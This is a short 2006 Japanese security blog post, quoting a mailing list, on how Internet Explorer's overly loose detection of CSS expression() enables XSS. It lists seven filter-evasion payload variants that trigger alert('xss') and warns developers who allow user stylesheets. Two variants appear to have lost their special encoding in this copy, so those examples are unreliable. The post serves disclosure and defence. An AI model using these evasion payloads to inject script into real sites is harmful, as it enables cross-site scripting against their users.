IE における "expression" の過剰検出による XSS の 誘因
2006-08-31-1: [Security]
http://archive.openmya.devnull.jp/2006.08/msg00369.html
IE では expression(式) をスタイルシート内で記述することで JavaScript を記述することができるのは有名ですが,
IE による expression の検出がやたら過剰で XSS を引き起こしやすいということらしい.
実態参照やコメントの挿入,Unicode 文字,全角文字で記述しても expression として検出される.
詳細は,上記サイトより引用.
IE では、以下のようなスタイルを記述することで、JavaScript を動作させる
ことが可能です。
1) <style>ブロック内での定義
<style>input { left:expression( alert('xss') ) } </style>
2) インラインでのスタイル定義
<div style="{ left:expression( alert('xss') ) }">
3) コメントの挿入
<div style="{ left:exp/* */ression( alert('xss') ) }">
4) バックスラッシュでのコードポイント指定
<div style="{ left:\0065\0078pression( alert('xss') ) }">
5) 実体参照
インラインでのスタイル定義では、実体参照が利用可能です。
<div style="{ left:expression( alert('xss') ) }">
6) 全角文字
<div style="{ left:expression( alert('xss') ) }">
7) 特定のUnicode文字
<div style="{ left:expRessioN( alert('xss') ) }">
R は U+0280、N は U+0274 または U+207F が利用可能です。
上記 1) ? 7) は相互に組み合わせて表記することも可能です。
また、6) および 7) は、IE7 RC1 では動作しません。
アプリケーション側で対応しなければならないので,スタイルシートの記述を許可しているアプリケーションは注意が必要.
- via: セキュリティホール memo メーリングリスト
http://memo.st.ryukoku.ac.jp/archive/200608.month/9096.html